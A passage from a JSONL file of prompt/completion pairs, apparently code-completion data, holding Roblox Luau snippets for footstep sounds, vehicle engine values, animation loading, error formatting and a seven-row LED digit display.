0\n\nHumanoid.Changed:Connect(function(property)\n\t\nend)\n\nHumanoid.Running:connect(function(a)\n\t\tRunningSound.PlaybackSpeed \t= FootstepsSoundGroup:WaitForChild(Humanoid.FloorMaterial).PlaybackSpeed * (a/20) * (math.random(30,50)/40)\n\t\tRunningSound.Volume \t\t= FootstepsSoundGroup:WaitForChild(Humanoid.FloorMaterial).Volume * (vel/12)\n\t\tRunningSound.EmitterSize \t= FootstepsSoundGroup:WaitForChild(Humanoid.FloorMaterial).Volume * (vel/12) * 50\n\t\tvel \t\t\t\t\t\t= a\nend)\n"} +{"prompt": "--\tconf = 0.000001*vvv", "completion": "\n\t--xt = 0\n\telse\nconf = 0.000016*vvv\nxt = hp.Value/4\nend\n\nif displacement.Value <= 3000 then\nxans = (1.4*displacement.Value)\nelse\nxans = (0.4*displacement.Value)+3000\nend\n"} +{"prompt": "-- Pure function returns options with all properties.", "completion": "\nlocal function normalizeDiffOptions(options_: DiffOptions?): DiffOptionsNormalized\n\t-- ROBLOX FIXME Luau: needs a normalization fix to avoid Key 'compareKeys' is missing from '{ }' in the type 'DiffOptions | { }'\n\tlocal options = if options_ then options_ else {} :: DiffOptions\n\treturn Object.assign({}, OPTIONS_DEFAULT, options, {\n\t\tcompareKeys = getCompareKeys(options.compareKeys),\n\t\tcontextLines = getContextLines(options.contextLines),\n\t}) :: DiffOptionsNormalized\nend\n\nreturn {\n\tnoColor = noColor,\n\tnormalizeDiffOptions = normalizeDiffOptions,\n}\n"} +{"prompt": "--print(\"Loading anims \" .. name)", "completion": "\ntable.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))\ntable.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))\nlocal idx = 1\nfor _, childPart in pairs(config:GetChildren()) do\nif (childPart:IsA(\"Animation\")) then\ntable.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))\nanimTable[name][idx] = {}\nanimTable[name][idx].anim = childPart\nlocal weightObject = childPart:FindFirstChild(\"Weight\")\nif (weightObject == nil) then\nanimTable[name][idx].weight = 1\nelse\nanimTable[name][idx].weight = weightObject.Value\nend\nanimTable[name].count = animTable[name].count + 1\nanimTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight"} +{"prompt": "--[[\n\tEven though Luau can catch and rethrow arbitrary objects, only string errors\n\tare supported by the ScriptContext.ErrorDetailed signal (the mechanism used\n\tto catch unhandled errors at the top level).\n\n\tThis function turns an arbitrary error object into a detailed string message\n\tto avoid any loss of information.\n]]", "completion": "\nlocal function errorToString(error_: Error | Object | string | Array): string\n\tlocal errorString\n\tif typeof(error_) == \"table\" then\n\t\tif (error_ :: Error).message and (error_ :: Error).stack then\n\t\t\t-- Adding these clear dividers helps us split this error back up\n\t\t\t-- into pieces later. We include one at the beginning so that the\n\t\t\t-- final stack frame added by rethrowing can be carved off\n\t\t\terrorString = DIVIDER\n\t\t\t\t.. (error_ :: Error).message\n\t\t\t\t.. DIVIDER\n\t\t\t\t.. tostring((error_ :: Error).stack)\n\t\telse\n\t\t\terrorString = inspect(error_)\n\t\tend\n\telse\n\t\terrorString = inspect(error_)\n\tend\n\n\treturn errorString\nend\n"} +{"prompt": "--\tprint(\"End of DestroyScript\")", "completion": "\nfor i,v in pairs(Engine.Parent.Fire:GetChildren()) do\nv.Enabled = true\nend\n\nfor i,l in pairs(Engine.Parent.Parent:GetDescendants()) do\nif l:IsA(\"BasePart\") then\nl.Material = Enum.Material.CorrodedMetal\nend\nend\nend\n\n"} +{"prompt": "--Number Label", "completion": "\n\tif Value == \"0\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOff\n\t\treturn\n\tend\n\tif Value == \"1\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOff\n\t\treturn\n\tend\n\tif Value == \"2\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOn\n\t\treturn\n\tend\n\tif Value == \"3\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOff\n\t\treturn\n\tend\n\tif Value == \"4\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOff\n\t\treturn\n\tend\n\tif Value == \"5\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOff\n\t\treturn\n\tend\n\tif Value == \"6\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOff\n\t\treturn\n\tend\n\tif Value == \"7\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOff\n\t\treturn\n\tend\t\n\tif Value == \"8\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOff\n\t\treturn\n\tend\t\n\tif Value == \"9\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOff\n\t\treturn\n\tend\t\n\t\n\t--Custom Label\n\tif Value == \"L\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOn\n\t\treturn\n\tend\t\n\tif Value == \"G\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"4\"].BackgroundTransparency = 